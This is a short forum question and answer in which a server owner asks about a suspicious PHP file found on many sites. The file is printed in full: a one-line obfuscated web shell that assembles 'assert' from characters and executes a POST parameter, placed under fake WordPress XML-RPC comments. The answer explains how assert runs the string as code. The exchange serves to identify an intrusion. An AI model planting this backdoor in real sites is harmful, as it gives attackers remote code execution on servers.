What kind of hack is it?

Question

Burglary protection

I noticed on many sites of my server a file of the same name, and the same content;
xuip9210.php

<?php
/**
 * XML-RPC protocol support for WordPress
 *
 * @package WordPress
 */

/**
 * Whether this is an XML-RPC Request
 *
 * @var bool
 */
 $a = "a"."s"."s"."e"."r"."t";  $a($_POST["ereer"]);  ?>No.1

Tovarischi coders and non-coders, tell me, what could it be?

Answer 1

This is the easiest to walk.
php.net/manual/en/function.assert.php

If the assertion is given as a string, it will be treated as PHP code by the assert() function.